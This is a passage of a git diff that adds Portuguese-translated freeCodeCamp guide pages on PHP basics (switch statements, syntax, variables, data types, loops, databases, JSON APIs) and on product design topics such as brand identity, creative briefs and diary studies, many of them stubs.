+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/super-globals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/switch-statement/index.md b/client/src/guide/portuguese/php/switch-statement/index.md
new file mode 100644
index 0000000000..3213ac4555
--- /dev/null
+++ b/client/src/guide/portuguese/php/switch-statement/index.md
@@ -0,0 +1,92 @@
+---
+title: Switch statement
+localeTitle: Declaração switch
+---
+# Interruptor
+
+`Switch` é uma declaração de seleção que selecionará uma instrução switch e a executará na lista de candidatos. Switch consiste em `case` e `case` e um `default` opcional. A execução pode ser interrompida usando uma `break` ou `return` .
+
+## Sintaxe
+```
+switch(x) 
+ { 
+    case value1: 
+      //execute if x = value1 
+      break; 
+    case value2: 
+      //execute if x = value2 
+      break; 
+ 
+    ... 
+ 
+    default: 
+      execute if x is different with cases above 
+ } 
+```
+
+## Exemplo
+
+```php
+<?php 
+ //initialize with a random integer within range 
+ $diceNumber = mt_rand(1, 6); 
+ 
+ //initialize 
+ $numText = ""; 
+ 
+ //calling switch statement 
+  switch($diceNumber) 
+  { 
+  case 1: 
+    $numText = "One"; 
+    break; 
+  case 2: 
+    $numText = "Two"; 
+    break; 
+  case 3: 
+  case 4: 
+    // case 3 and 4 will go to this line 
+    $numText = "Three or Four"; 
+    break; 
+  case 5: 
+    $numText = "Five"; 
+    echo $numText; 
+    // break; //without specify break or return it will continue execute to next case. 
+  case 6: 
+    $numText = "Six"; 
+    echo $numText; 
+    break; 
+  default: 
+    $numText = "unknown"; 
+  } 
+ 
+  //display result 
+  echo 'Dice show number '.$numText.'.'; 
+ 
+ ?> 
+```
+
+## Saída
+```
+if case is 1 
+ > Dice show number One. 
+ 
+ if case is 2 
+ > Dice show number Two. 
+ 
+ if case is 3 
+ > Dice show number Three or Four. 
+ 
+ if case is 4 
+ > Dice show number Three or Four. 
+ 
+ if case is 5 
+ > FiveSixDice show number Six. 
+ 
+ if case is 6 
+ > SixDice show number Six. 
+ 
+ if none of the above 
+ > Dice show number unknown. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/switch-statements/index.md b/client/src/guide/portuguese/php/switch-statements/index.md
new file mode 100644
index 0000000000..bfa51c5310
--- /dev/null
+++ b/client/src/guide/portuguese/php/switch-statements/index.md
@@ -0,0 +1,30 @@
+---
+title: Switch Statements
+localeTitle: Switch Statements
+---
+## Switch Statements
+
+As instruções de troca executam blocos de código com base no valor de uma condição.
+
+### Sintaxe:
+
+```PHP
+switch(x) { 
+  case 1: 
+    statement1; 
+    break; 
+   case 2: 
+     statement2; 
+     break; 
+   default: 
+     defaultstatement; 
+ } 
+```
+
+No exemplo acima, x é a condição. As declarações após o caso que corresponde serão executadas. Se não houver correspondências, as instruções padrão serão executadas.
+
+A palavra-chave `break` é usada para finalizar cada caso.
+
+### Mais Informações:
+
+[Comutador PHP](http://php.net/manual/en/control-structures.switch.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/switch/index.md b/client/src/guide/portuguese/php/switch/index.md
new file mode 100644
index 0000000000..3c06be8f62
--- /dev/null
+++ b/client/src/guide/portuguese/php/switch/index.md
@@ -0,0 +1,35 @@
+---
+title: Switch
+localeTitle: Interruptor
+---
+## Interruptor
+
+No PHP, a instrução `Switch` é muito parecida com a instrução Javascript `Switch` (veja o [Guia de Comutação Javascript](/javascript/switch-statements) para comparar e contrastar). Ele permite testes rápidos de casos com várias condições possíveis, o código também é mais legível.
+
+### Sintaxe
+
+```php
+<?php 
+    // Switch Statement Example 
+    switch ($i) { 
+        case "free": 
+            echo "i is free"; 
+            break; 
+        case "code": 
+            echo "i is code"; 
+            break; 
+        case "camp": 
+            echo "i is camp"; 
+            break; 
+        default: 
+            echo "i is freecodecamp"; 
+    } 
+```
+
+### Pausa
+
+O `break;` A instrução sai do comutador e passa a executar o restante do código do aplicativo. Se você não usar o `break;` declaração você pode acabar executando vários casos e declarações, às vezes isso pode ser desejado caso em que você não deve incluir a `break;` declaração.
+
+#### Mais Informações:
+
+*   [php.net docs Switch](https://secure.php.net/manual/en/control-structures.switch.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/syntax/index.md b/client/src/guide/portuguese/php/syntax/index.md
new file mode 100644
index 0000000000..f79c76a5cd
--- /dev/null
+++ b/client/src/guide/portuguese/php/syntax/index.md
@@ -0,0 +1,26 @@
+---
+title: Syntax
+localeTitle: Sintaxe
+---
+## Sintaxe
+
+PHP é uma linguagem que permite incluir conteúdo dinâmico em páginas da Web estáticas. Ele é escrito em linha com html, basta renomear um arquivo .html para .php (web-server deve ter o php instalado) para começar.
+
+```PHP
+<!DOCTYPE html> 
+ <html> 
+ <head> 
+ <title>PHP Example</title> 
+ </head> 
+ <body> 
+ <h1>PHP Example</h1> 
+ <?php 
+  echo "Hello World from PHP!"; 
+ ?> 
+ </body> 
+ </html> 
+```
+
+#### Mais Informações:
+
+*   [php.net - Documentação PHP](https://secure.php.net/docs.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/variable-basics/index.md b/client/src/guide/portuguese/php/variable-basics/index.md
new file mode 100644
index 0000000000..db5f68f556
--- /dev/null
+++ b/client/src/guide/portuguese/php/variable-basics/index.md
@@ -0,0 +1,23 @@
+---
+title: PHP Variable Basics
+localeTitle: Princípios Básicos de Variáveis ​​PHP
+---
+Variáveis ​​permitem que programadores usem dados através de um script PHP.
+
+No PHP, as variáveis ​​sempre começam com um símbolo `$` seguido pelo nome da variável. Somente letras, números (pode não ser o primeiro caractere) e sublinhados podem compor o nome de uma variável.
+
+Por exemplo, `$my_variable` , `$anotherVariable` e `$the2ndVariable` permitem nomes de variáveis ​​válidos.
+
+Os nomes de variáveis ​​são sensíveis a maiúsculas e minúsculas. `$my_variable` é diferente de `$My_Variable` que é diferente de `$mY_vARiAblE` .
+
+Antes que uma variável possa ser usada, ela deve ter um valor atribuído a ela.
+
+```PHP
+    <?php 
+    $my_number = 1; 
+    echo($my_number); 
+ 
+    >>> 1 
+```
+
+No exemplo acima, a variável é `$my_number` . O valor atribuído a ele foi o número `1` . A variável foi então passada como um parâmetro para a função `echo` , que envia o valor para a linha de comando.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/variables/data-types/index.md b/client/src/guide/portuguese/php/variables/data-types/index.md
new file mode 100644
index 0000000000..dd419afa7a
--- /dev/null
+++ b/client/src/guide/portuguese/php/variables/data-types/index.md
@@ -0,0 +1,114 @@
+---
+title: PHP Data Types
+localeTitle: Tipos de dados PHP
+---
+# Tipos de dados
+
+Variáveis ​​podem armazenar dados de diferentes tipos, como:
+
+*   String ("Olá")
+*   Inteiro (5)
+*   Flutuante (também chamado de duplo) (1.0)
+*   Booleano (1 ou 0)
+*   Array (array ("eu", "sou", "uma", "matriz"))
+*   Objeto
+*   NULO
+*   Recurso
+
+## Corda
+
+Uma string é uma sequência de caracteres. Pode ser qualquer texto entre aspas (simples ou duplo):
+
+#### Exemplo
+
+```php
+$x = "Hello!"; 
+ $y = 'Hello!'; 
+```
+
+## Inteiro
+
+Um tipo de dados inteiro é um número não decimal entre -2.147.483.648 e 2.147.483.647.
+
+Regras para números inteiros:
+
+*   Um inteiro deve ter pelo menos um dígito
+*   Um inteiro não deve ter um ponto decimal
+*   Um inteiro pode ser positivo ou negativo
+*   Os inteiros podem ser especificados em três formatos: decimal (baseado em 10), hexadecimal (baseado em 16 - prefixado com 0x) ou octal (baseado em 8 - prefixado com 0)
+
+#### Exemplo
+
+```php
+$x = 5; 
+```
+
+## Flutuador
+
+Um float (número de ponto flutuante) é um número com um ponto decimal ou um número no formato exponencial.
+
+#### Exemplo
+
+```php
+$x = 5.01; 
+```
+
+## boleano
+
+Um booleano representa dois estados possíveis: VERDADEIRO ou FALSO. Booleanos são frequentemente usados ​​em testes condicionais.
+
+```php
+$x = true; 
+ $y = false; 
+```
+
+## Matriz
+
+Uma matriz armazena vários valores em uma única variável.
+
+```php
+$colours = array("Blue","Purple","Pink"); 
+```
+
+## Valor NULL
+
+Nulo é um tipo de dados especial que pode ter apenas um valor: NULL.  
+Uma variável do tipo de dados NULL é uma variável que não possui nenhum valor atribuído a ela.  
+Variáveis ​​também podem ser esvaziadas definindo o valor como NULL.
+
+**Nota:** Se uma variável é criada sem um valor, é atribuído automaticamente um valor de NULL.
+
+```php
+<?php 
+ $x = "Hello world!"; 
+ $x = null; 
+ ?> 
+```
+
+Saída:  
+NULO
+
+## Objeto
+
+Um objeto é um tipo de dados que armazena dados e informações sobre como processar esses dados.  
+No PHP, um objeto deve ser explicitamente declarado.  
+Primeiro devemos declarar uma classe de objeto. Uma classe é uma estrutura que pode conter propriedades e métodos.
+
+**Exemplo:**
+
+```php
+<?php 
+ class Car { 
+    function Car() { 
+        $this->model = "VW"; 
+    } 
+ } 
+ 
+ // create an object 
+ $herbie = new Car(); 
+ 
+ // show object properties 
+ echo $herbie->model; 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/variables/index.md b/client/src/guide/portuguese/php/variables/index.md
new file mode 100644
index 0000000000..e30fa27d7a
--- /dev/null
+++ b/client/src/guide/portuguese/php/variables/index.md
@@ -0,0 +1,71 @@
+---
+title: Variables
+localeTitle: Variáveis
+---
+## Variáveis
+
+# Criando (declarando) variáveis ​​PHP
+
+Variáveis ​​são "contêineres" para armazenar informações.
+
+**Sintaxe:**
+
+```php
+<?php 
+ $txt = "Hello world!"; 
+ $x = 5; 
+ $y = 10.5; 
+ ?> 
+```
+
+Após a execução das declarações acima, a variável $ txt manterá o valor Hello world !, a variável $ x manterá o valor 5 e a variável $ y manterá o valor 10.5.
+
+##### Nota: Quando você atribui um valor de texto a uma variável, coloque aspas ao redor do valor.
+
+##### Nota: Ao contrário de outras linguagens de programação, o PHP não possui comando para declarar uma variável. É criado no momento em que você atribui um valor a ele pela primeira vez.
+
+# Regras para variáveis ​​PHP:
+
+*   Uma variável começa com o sinal $, seguido pelo nome da variável
+*   Um nome de variável deve começar com uma letra ou o caractere de sublinhado
+*   Um nome de variável não pode começar com um número
+*   Um nome de variável só pode conter caracteres alfanuméricos e sublinhados (Az, 0-9 e \_)
+*   Os nomes das variáveis ​​diferenciam maiúsculas e minúsculas ($ age e $ AGE são duas variáveis ​​diferentes)
+
+# Variáveis ​​de Saída
+
+A instrução echo do PHP é freqüentemente usada para enviar dados para a tela.
+
+O exemplo a seguir mostrará como enviar texto e uma variável:
+
+```php
+<?php 
+ $txt = "github.com"; 
+ echo "I love $txt!"; 
+ ?> 
+```
+
+O exemplo a seguir produzirá a mesma saída do exemplo acima:
+
+```php
+<?php 
+ $txt = "github.com"; 
+ echo "I love " . $txt . "!"; 
+ ?> 
+```
+
+O exemplo a seguir produzirá a soma de duas variáveis:
+
+```php
+<?php 
+ $x = 5; 
+ $y = 4; 
+ echo $x + $y; 
+ ?> 
+```
+
+# PHP é uma linguagem fracamente tipada
+
+No exemplo acima, observe que não precisávamos informar ao PHP qual tipo de dados a variável é. O PHP converte automaticamente a variável para o tipo de dados correto, dependendo do seu valor. Em outras linguagens como C, C ++ e Java, o programador deve declarar o nome e o tipo da variável antes de usá-la.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/while/index.md b/client/src/guide/portuguese/php/while/index.md
new file mode 100644
index 0000000000..20fcf305a7
--- /dev/null
+++ b/client/src/guide/portuguese/php/while/index.md
@@ -0,0 +1,23 @@
+---
+title: While Loop
+localeTitle: While Loop
+---
+## While Loops
+
+Um `while` ciclo executa instruções dentro do ciclo enquanto que a condição for satisfeita laçadas.
+
+### Sintaxe:
+
+```php
+$x = 0; 
+ while ($x < 11) { 
+    statement1; 
+    $x++; 
+ } 
+```
+
+**Nota:** O código do bloco deve ter uma declaração que altere ou aumente a condição. Caso contrário, um loop infinito poderia resultar.
+
+### Mais Informações:
+
+[PHP While Loop](http://php.net/manual/en/control-structures.while.php)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/working-with-databases/index.md b/client/src/guide/portuguese/php/working-with-databases/index.md
new file mode 100644
index 0000000000..9a21f1f095
--- /dev/null
+++ b/client/src/guide/portuguese/php/working-with-databases/index.md
@@ -0,0 +1,13 @@
+---
+title: Working With Databases
+localeTitle: Trabalhando com bancos de dados
+---
+## Quais opções estão disponíveis para o PHP se conectar a um banco de dados?
+
+O PHP pode se conectar a uma variedade de bancos de dados diferentes, incluindo MongoDB, MsSQL e MySQL. Tanto o PHP quanto o MySQL são muito populares e fornecem sites fáceis, gratuitos e de código aberto. para ser criado e são frequentemente encontrados juntos para produzir sites de todos os tipos. O PHP e o MySQL podem ser dimensionados para suportar um grande número de usuários.
+
+O PHP ainda suporta mais de uma maneira de lidar com conexões com o MySQL, incluindo MySQLi Procedural, PHP Data Objects (PDO) e MySQLi Object Orientated juntamente com o agora obsoleto MySQL Connect. Com o PHP, existem muitos recursos integrados à funcionalidade principal da linguagem que criam links para um banco de dados simples e fácil.
+
+Alguns exemplos de Mysqli são-
+
+connect ("host local", "raiz", "", " nome do _banco de dados_ ") ou dado ("Usuário ou Senha inválido ... não pode conectar"); ?> aqui estamos nos conectando a um banco de dados na estrutura do phpmyadmin sem senha e nome do banco de dados-nome\_do\_bd
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/working-with-databases/mysqli/index.md b/client/src/guide/portuguese/php/working-with-databases/mysqli/index.md
new file mode 100644
index 0000000000..93861af910
--- /dev/null
+++ b/client/src/guide/portuguese/php/working-with-databases/mysqli/index.md
@@ -0,0 +1,11 @@
+---
+title: MySQLi
+localeTitle: MySQLi
+---
+## MySQLi
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/working-with-databases/mysqli/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/working-with-json-apis/index.md b/client/src/guide/portuguese/php/working-with-json-apis/index.md
new file mode 100644
index 0000000000..994169cd05
--- /dev/null
+++ b/client/src/guide/portuguese/php/working-with-json-apis/index.md
@@ -0,0 +1,55 @@
+---
+title: Working With JSON APIs
+localeTitle: Trabalhando com APIs JSON
+---
+## Trabalhando com APIs JSON
+
+Um uso comum do JSON é ler dados de um servidor da web e exibir os dados em uma página da web.
+
+Este capítulo ensinará como trocar dados JSON entre o cliente e um servidor PHP.
+
+### O arquivo PHP
+
+O PHP tem algumas funções internas para lidar com JSON.
+
+Objetos em PHP podem ser convertidos em JSON usando a função PHP `json_encode()` :
+
+```php
+<?php 
+ $myObj->name = "John"; 
+ $myObj->age = 30; 
+ $myObj->city = "New York"; 
+ 
+ $myJSON = json_encode($myObj); 
+ 
+ echo $myJSON; 
+ ?> 
+```
+
+[Tente](https://www.w3schools.com/js/showphp.asp?filename=demo_file)
+
+### O JavaScript do cliente
+
+Aqui está um JavaScript no cliente, usando uma chamada AJAX para solicitar o arquivo PHP do exemplo acima:
+
+#### Exemplo
+
+Use JSON.parse () para converter o resultado em um objeto JavaScript:
+
+```js
+var xmlhttp = new XMLHttpRequest(); 
+ xmlhttp.onreadystatechange = function() { 
+    if (this.readyState == 4 && this.status == 200) { 
+        var myObj = JSON.parse(this.responseText); 
+        document.getElementById("demo").innerHTML = myObj.name; 
+    } 
+ }; 
+ xmlhttp.open("GET", "demo_file.php", true); 
+ xmlhttp.send(); 
+```
+
+[Tente](https://www.w3schools.com/js/tryit.asp?filename=tryjson_php_simple)
+
+### Mais Informações:
+
+*   Para mais, [confira este link](https://www.w3schools.com/js/js_json_php.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/xml/index.md b/client/src/guide/portuguese/php/xml/index.md
new file mode 100644
index 0000000000..0cc2e363d7
--- /dev/null
+++ b/client/src/guide/portuguese/php/xml/index.md
@@ -0,0 +1,11 @@
+---
+title: XML
+localeTitle: XML
+---
+## XML
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/xml/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/brand-identity/index.md b/client/src/guide/portuguese/product-design/brand-identity/index.md
new file mode 100644
index 0000000000..f7ba887d0b
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/brand-identity/index.md
@@ -0,0 +1,15 @@
+---
+title: Brand Identity
+localeTitle: Identidade da marca
+---
+## Identidade da marca
+
+A identidade da marca é o rosto de uma marca. Como discutido em uma seção anterior, uma marca é um conceito emocional e até filosófico, enquanto a identidade de marca é o componente visual de uma marca que representa essas ideias maiores.
+
+A identidade da marca inclui logotipos, tipografia, cores, embalagem e mensagens, e complementa e reforça a reputação existente de uma marca. A identidade da marca atrai novos clientes para uma marca, ao mesmo tempo que faz com que os clientes existentes se sintam em casa. É tanto para fora como para dentro.
+
+É vital que a identidade da marca seja consistente. Por representar e reforçar as emoções de uma marca, a mensagem retratada pelos componentes da identidade da marca precisa ser clara e precisa ser a mesma, não importa onde seja exibida.
+
+#### Mais Informações:
+
+[99designs - Identidade Visual](https://99designs.com/blog/tips/brand-identity/) [A UX é importante - Experiência de marca no design da experiência do usuário](https://www.uxmatters.com/mt/archives/2006/07/brand-experience-in-user-experience-design.php) [Apenas criativo - Branding, identidade e design de logotipo explicado](http://justcreative.com/2010/04/06/branding-identity-logo-design-explained/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/concept-generation/index.md b/client/src/guide/portuguese/product-design/concept-generation/index.md
new file mode 100644
index 0000000000..17f5ee94e5
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/concept-generation/index.md
@@ -0,0 +1,11 @@
+---
+title: Concept Generation
+localeTitle: Geração de conceito
+---
+## Geração de conceito
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/concept-generation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/contextual-inquiries/index.md b/client/src/guide/portuguese/product-design/contextual-inquiries/index.md
new file mode 100644
index 0000000000..22f3947576
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/contextual-inquiries/index.md
@@ -0,0 +1,21 @@
+---
+title: Contextual Inquiries
+localeTitle: Consultas Contextuais
+---
+## Consultas Contextuais
+
+A Inquérito Contextual é um método imersivo para descobrir como um design funciona no contexto de seu uso. Designers podem usar a investigação contextual para descobrir aspectos de um design que os usuários podem não perceber conscientemente. A investigação contextual envolve tanto entrevistar usuários quanto observá-los usando o design em seu próprio ambiente.
+
+Há quatro coisas para ter em mente:
+
+**O contexto** deve ser mantido - o designer deve procurar entender a experiência contínua do usuário com o design e, para isso, é crucial acompanhar o usuário no seu dia-a-dia com o design.
+
+**Parceria** - o designer deve fazer perguntas perspicazes para aprofundar o entendimento do usuário sobre o design. As respostas de um usuário serão mais informativas e mais completas se responderem enquanto estiverem usando o design.
+
+**Interpretação** - o designer deve tentar interpretar os dados coletados de entrevistas e observações enquanto eles ainda estiverem no local com o usuário. É fundamental tentar verificar a precisão de quaisquer hipóteses sobre os dados com o usuário.
+
+**Foco** - o designer deve se concentrar no modelo mental do usuário de como um design funciona. Em situações em que um designer pode ficar confuso ou surpreso com as ações de um usuário ou com as respostas às perguntas, o designer pode aproveitar essa oportunidade para tentar entender melhor a perspectiva do usuário e incorporá-la a iterações mais claras.
+
+#### Citações
+
+Martin, Bella e Bruce M. Hanington. Métodos universais de projeto 100 maneiras de pesquisar problemas complexos, desenvolver idéias inovadoras e projetar soluções eficazes. Rockport Publishers, 2012.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/creative-briefs/index.md b/client/src/guide/portuguese/product-design/creative-briefs/index.md
new file mode 100644
index 0000000000..3a5f45d84d
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/creative-briefs/index.md
@@ -0,0 +1,37 @@
+---
+title: Creative Briefs
+localeTitle: Briefs Criativos
+---
+## Briefs Criativos
+
+**1\. O que é um Brief Criativo? Por que isso é necessário? Para quem é isso?**
+
+Um resumo criativo ("CB") é um documento do projeto, muito semelhante a um resumo do projeto, útil durante o pontapé inicial com a equipe de produção. É usado em agências, startups e grandes empresas de software, por equipes criativas de todos os tamanhos. Ele serve como um roteiro que representa a visão, os objetivos do projeto, descreve o público e descreve as diretrizes da marca nas quais você trabalhará; ela responde à pergunta “como a marca se comporta no mundo?” Ela pode até incluir detalhes sobre os produtos, tanto de partes interessadas / cliente (conteúdo, diretrizes de marca, análise…) para a equipe criativa, quanto vice-versa. É para informar e inspirar, não restringir. É uma ferramenta libertadora porque define sucintamente o que é necessário desde a criatividade.
+
+**2\. Quando é a autoria e por quem?**
+
+Quando um novo projeto chega, normalmente há um período de descoberta em que o escopo inicial do projeto e os documentos de definição \* são criados, sendo estes o resumo do projeto de alto nível, coleta de requisitos para requisitos funcionais, técnicos, criativos e de marca etc. As sementes de um resumo criativo vêm dessa fase de descoberta inicial e são uma etapa definida da descoberta, que geralmente ocorre depois que os documentos acima mencionados são concluídos (a EC é informada grosseiramente pelo que é reunido nessas conversas anteriores com as partes interessadas / clientes).
+
+Os CBs são geralmente de autoria do diretor de criação da equipe de produção. Eles lideram as sessões nas quais as informações são coletadas para o resumo, bem como quaisquer iterações. Eles também são responsáveis ​​por disseminar o resumo final para a equipe de criação, garantindo que o produto final reflita o resumo autorizado pelo cliente. O OC pode ser elaborado por um diretor de produto, líder de produto, gerente de produto, etc., pois esses papéis / títulos estão em fluxo nos dias de hoje. O objetivo é que o líder criativo também tenha uma mente para os negócios e para a marca.
+
+_NOTA: Embora haja uma boa quantidade de informações para se comunicar em todos os documentos de descoberta, você também deve ser capaz de destilar cada uma em uma ou duas páginas, no máximo. Um resumo é, na verdade, literalmente breve._
+
+**3\. Como é um bom resumo?**
+
+Você sabe agora que um bom CB é fundamental para o sucesso do seu projeto. É o detalhe em um resumo criativo que realmente ajuda a equipe a entregar. Quanto mais claro for o brief, melhor eles entenderão o cliente e a marca, e mais capazes serão para capturar a mensagem e a visão geral na primeira tentativa.
+
+**4\. Dicas para escrever um resumo criativo:**
+
+O processo:
+
+1.  Uma das melhores maneiras de desenvolver um brief é colaborar com o cliente na sala - moldando o briefing em tempo real. Convide apenas os principais interessados ​​e líderes da equipe de produção (geralmente Proj. Mgr., Diretores de arte e criação, líder técnico, líder de UX, líder de marketing / negócios). O diretor de criação conduz a reunião, mas todos os membros ouvem / participam (e dão suporte ao CD) buscando clareza e / ou fornecendo exemplos de cenários para refinar ainda mais a direção, a mensagem, a visão, a conscientização do mercado etc.
+    
+2.  Use um quadro branco e siga a planilha (amostra incluída), solicitando todas as perguntas certas. Incentive a discussão orgânica, fluxo de consciência do cliente. Ouça mais do que falar - isso é crítico. Esta sessão é centrada no cliente. Aprofunde-se para obter mais detalhes, se precisar de mais clareza. Esta é uma fase crítica para a elaboração do resumo.
+    
+3.  Se você é novo em escrever CB's, faça uma referência à amostra de resumos criativos do mundo real para aprender como as respostas são formuladas, entender a linguagem usada, o processo de pensamento e o enquadramento.
+    
+
+#### Mais Informações:
+
+*   [Amostra do Breve Criativo do Mundo Real](http://bit.ly/2zBGUX5)
+*   [Planilha Breve Criativa](http://bit.ly/2y4x7HV)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/customer-empathy/index.md b/client/src/guide/portuguese/product-design/customer-empathy/index.md
new file mode 100644
index 0000000000..f0fdc28afa
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/customer-empathy/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Empathy
+localeTitle: Empatia do Cliente
+---
+## Empatia do Cliente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-empathy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/customer-interviews/index.md b/client/src/guide/portuguese/product-design/customer-interviews/index.md
new file mode 100644
index 0000000000..6daea5629e
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/customer-interviews/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Interviews
+localeTitle: Entrevistas com clientes
+---
+## Entrevistas com clientes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-interviews/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/customer-journey-maps/index.md b/client/src/guide/portuguese/product-design/customer-journey-maps/index.md
new file mode 100644
index 0000000000..d6a6d89044
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/customer-journey-maps/index.md
@@ -0,0 +1,11 @@
+---
+title: Customer Journey Maps
+localeTitle: Mapas da jornada do cliente
+---
+## Mapas da jornada do cliente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/customer-journey-maps/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/data-driven-design/index.md b/client/src/guide/portuguese/product-design/data-driven-design/index.md
new file mode 100644
index 0000000000..c6393ef904
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/data-driven-design/index.md
@@ -0,0 +1,11 @@
+---
+title: Data Driven Design
+localeTitle: Design orientado por dados
+---
+## Design orientado por dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/product-design/data-driven-design/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/defining-brands/index.md b/client/src/guide/portuguese/product-design/defining-brands/index.md
new file mode 100644
index 0000000000..383a306a02
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/defining-brands/index.md
@@ -0,0 +1,11 @@
+---
+title: Defining Brands
+localeTitle: Definindo Marcas
+---
+## Definindo Marcas
+
+Um designer não pode "fazer" uma marca. Ou crie uma marca. Os designers criam uma identidade de marca que reflete uma marca.
+
+A marca em si tem que vir da empresa. De sua estratégia de marca.
+
+Quais são alguns dos seus valores fundamentais? o que eles representam? O que torna seu produto único? Qual é o seu único ponto de venda? Quem são seus clientes-alvo? Perguntas como essa formam a base de uma estratégia de marca e devem ser estabelecidas dentro da empresa em primeira instância. Um designer ou agência de design constrói a base de uma marca ou é trazido para melhorar a identidade visual e corporativa da marca
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/diary-studies/index.md b/client/src/guide/portuguese/product-design/diary-studies/index.md
new file mode 100644
index 0000000000..c19e20f568
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/diary-studies/index.md
@@ -0,0 +1,17 @@
+---
+title: Diary Studies
+localeTitle: Estudos de diário
+---
+## Estudos de diário
+
+Estudos de diário são usados ​​como um método de longo prazo para coletar informações dos participantes do usuário. Os diários podem registrar pensamentos, sentimentos ou comportamentos na vida de um participante. Esta informação pode ser usada por designers como um método de pesquisa exploratória e geração de ideias.
+
+Os participantes do usuário recebem um diário em branco, que deve ser mantido com eles o mais rápido possível. Alternativamente, um diário online pode ser usado. Os participantes devem ser informados sobre o tópico de interesse, portanto, as entradas do diário são específicas para o tópico dado. Os participantes podem ser instruídos a escrever inscrições quando estiverem em determinadas situações, se engajar em determinados comportamentos ou interagir com determinados produtos. Eles também podem ser instruídos a escrever entradas em determinados momentos do dia, da semana ou do mês.
+
+Entradas de diário podem consistir em qualquer coisa - texto, esboços, desenhos, símbolos, imagens e até adesivos. Cada entrada deve ser guiada por uma solicitação ou ideia.
+
+Uma vez coletados, os pesquisadores podem analisar os registros do diário e detectar padrões subjacentes entre os participantes. As informações coletadas podem ser usadas para inspirar designers, bem como fornecer insights sobre possíveis limitações de qualquer projeto em potencial.
+
+#### Citações
+
+Martin, Bella e Bruce M. Hanington. Métodos universais de projeto 100 maneiras de pesquisar problemas complexos, desenvolver idéias inovadoras e projetar soluções eficazes. Rockport Publishers, 2012.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/product-design/empathy-maps/index.md b/client/src/guide/portuguese/product-design/empathy-maps/index.md
new file mode 100644
index 0000000000..7bc5e9617f
--- /dev/null
+++ b/client/src/guide/portuguese/product-design/empathy-maps/index.md
@@ -0,0 +1,13 @@
+---
+title: Empathy Maps
+localeTitle: Mapas de empatia
+---
+## Mapas de empatia
+
+Os mapas de empatia são uma ferramenta importante a ser usada para apresentar e humanizar clientes ao apresentar pesquisas de usuários. Eles são usados ​​internamente para criar uma compreensão mais profunda dos clientes.
+
